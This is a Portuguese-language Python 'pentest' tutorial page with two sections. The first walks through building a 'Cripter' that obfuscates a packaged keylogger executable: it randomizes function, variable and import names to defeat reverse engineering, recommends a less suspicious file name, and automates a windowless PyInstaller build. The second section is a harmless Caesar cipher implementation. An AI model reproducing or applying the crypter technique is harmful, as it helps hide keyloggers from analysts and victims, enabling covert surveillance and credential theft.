Aprenda Python Pentest

  • Página Inicial
  • Contato!
  • Tudo sobre Python Pentest Parte 1!
  • Tudo sobre Python Pentest Parte 2!
  • Tudo sobre Python Pentest Parte 3!
  • Tudo sobre Python Pentest Parte 4!
  • Tudo sobre Python Pentest Parte 5!
  • Tudo sobre Python Pentest Parte 6!
  • Tudo sobre Python Pentest Parte 7!
  • Tudo sobre Python Pentest Parte 8!
  • Tudo sobre Python Pentest Parte 9!
  • Tudo sobre Python Pentest Parte 10!
  • Tudo sobre Python Pentest Parte 11!
  • Tudo sobre Python Pentest Parte 12!
  • Tudo sobre Python Pentest Parte 13!
  • Tudo sobre Python Pentest Parte 12

    Automatizando Empacotamento

    Ao fazer engenharia reversa num exe que foi gerado através do empacotamento de um script Python, podemos obter todo o código-fonte de todo o programa. Para dificultar isso, podemos ofuscar nosso código.

    Primeiramente, coloque todo o código do rawCode em outro arquivo separado. E no cripter, coloque isso no lugar da atribuição da variável do mesmo nome:

    
    with open("rawCode.py") as arqRaw:
        rawCode = arqRaw.read()
        rawCode = rawCode.replace("{p2}", str(p2)).replace("{p1}", str(p1))
    
    

    Rode o cripter com o comando python Cripter.py Keylogger.exe.

    No entanto, devemos tornar nosso código o menos legível possível, pra evitar engenharia reversa por um profissional.

    Num arquivo de teste, podemos fazer assim pra randomizar nomes:

    
    import random, string
    
    def randomName(n):
        name = ""
    
        for i in range(n):
            ch = random.choice(string.ascii_lowercase) # String com todos os caracteres minúsculos
    
            name += ch
    
        print(name)
        
    randomName(10)
    
    

    PS: Podemos colocar outros caracteres, como números, mas nomes de variáveis e funções devem ter o primeiro caractere sendo uma letra. Podemos fazer assim:

    
    import random, string
    
    def randomName(n):
        name = random.choice(string.ascii_lowercase)
    
        for i in range(n):
            ch = random.choice(string.ascii_lowercase + "1234567890")
    
            name += ch
    
        print(name)
    
    randomName(15)
    
    

    Daí, podemos substituir os nomes das funções e suas chamadas em rawCode por dois caracteres <; e >, como por exemplo:

    
    def <filed>():
        # Restando do código
    
    <filed>()
    
    

    E aí, no Cripter, podemos fazer assim, debaixo da variável rawCode, no with open do arquivo Python de mesmo nome:

    
    randomize = ["<criarProc>", "<filed>", "<saveFile>"]
    
    for r in randomize:
        rawCode = rawCode.replace(r, randomName(10))
    
    

    Claro que não podemos esquecer de declarar a função randomName e suas importações no Cripter, só retire o print e substitua pelo return:

    
    import random, string
    
    def randomName(n):
        name = random.choice(string.ascii_lowercase)
    
        for i in range(n):
            ch = random.choice(string.ascii_lowercase + "1234567890")
    
            name += ch
            
        return name
    
    

    PS: O ideal é fazer isso não só com as funções em rawCode, mas com as variáveis também, pelo menos as de nomes muito explícitos.

    Já com as importações, apenas usamos algo do tipo:

    
    import base64 as <base64>
    import psutil as <psutil>
    
    

    E onde estão as utilizações das importações:

    
    process = <psutil>.Popen("code.exe")
    
    

    E no Cripter, adicionar todas as entradas na lista assim:

    
    randomize = ["<criarProc>", "<filed>", "<saveFile>", "<base64>", "<psutil>", "<process>", "<arqExe>", "<fCpu>", "<lCpu>", "<cpu>", "<memTot>", "<mem>"]
    
    

    Dá pra fazer com tudo no código, inclusive no nome do executável a ser salvo (escrito), no entanto isso despertaria mais suspeitas, o ideal é colocar um nome menos suspeito. Podemos aplicar isso no nosso keylogger também.

    Podemos também no nosso Cripter, colocar a importação do Pyinstaller diretamente, da forma import PyInstaller.__main__, pra gerar o instalador automaticamente. No final do código, basta chamar assim:

    
    PyInstaller.__main__.run(("codigo.py", "-F", "-w", "--distpath", "./", "--name", "codigo.exe", "--clean"))
    
    shutil.rmtree("build") # Importe shutil
    os.remove("codigo.exe.spec")
    
    

    Implementando Cifra de César em Python

    A Cifra de César é uma técnica de criptografia bastante simples e provavelmente a mais conhecida de todas.

    Trata-se de um tipo de cifra de substituição, na qual cada letra de um texto a ser criptografado é substituída por outra letra, presente no alfabeto porém deslocada um certo número de posições à esquerda ou à direita.

    Por exemplo, se empregarmos uma troca de quatro posições à esquerda, cada letra é substituída pela letra que está quatro posições adiante no alfabeto, e nesse caso a letra A seria substituída pela letra E, a letra B por F, a letra C por G, e assim sucessivamente.

    
    modo = ""
    texto = str(input("Digite a mensagem a ser encriptada ou decifrada: ")).upper()
    chave = int(input("Entre com o valor da chave (deslocamento): "))
    
    while True:
        modo = str(input("Escolha E para encriptar ou D para decriptar o texto: ")).upper()[0]
    
        if modo in "ED":
            break
        else:
            print("Opção inválida! Tente novamente!")
    
    caracteres = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
    convertido = ""
    
    # Esse for será executado em cada caractere do texto:
    for t in texto:
        if t in caracteres:
            num = caracteres.find(t)
            if modo == "E":
                num += chave
            elif modo == 'D':
                num -= chave
                
            # Outro if, manipula a rotação
            # se o valor de num for maior do
            # que o comprimento de caracteres:
            if num >= len(caracteres):
                num -= len(caracteres)
            elif num < 0:
                num += len(caracteres)
    
            # Concatena os caracteres correspondentes:
            convertido = convertido + caracteres[num] 
        else:
            # Concatena o caractere sem criptografar:
            convertido += t
    
    # Exibe o resultado:
    if modo == 'E':
        print(f"O texto criptografado é \"{convertido}\".")
    elif modo == 'D':
        print(f"O texto decriptado é \"{convertido}\".")
    else:
        print("Opção inválida!")
    
    

    Vamos testar a cifra de César em Python efetuando a criptografia de uma frase qualquer. Por exemplo, vamos criptografar a frase Quero uma pizza de calabresa, usando uma chave de valor de deslocamento igual a 13.

    Obteremos o resultado DHREB HZN CVMMN QR PNYNOERFN. Vamos testar agora o processo inverso, decifrando essa mensagem com nosso script.

    Como podemos ver, a mensagem foi decifrada corretamente ao fornecermos a chave de rotação utilizada (13) e o modo de decifragem (D).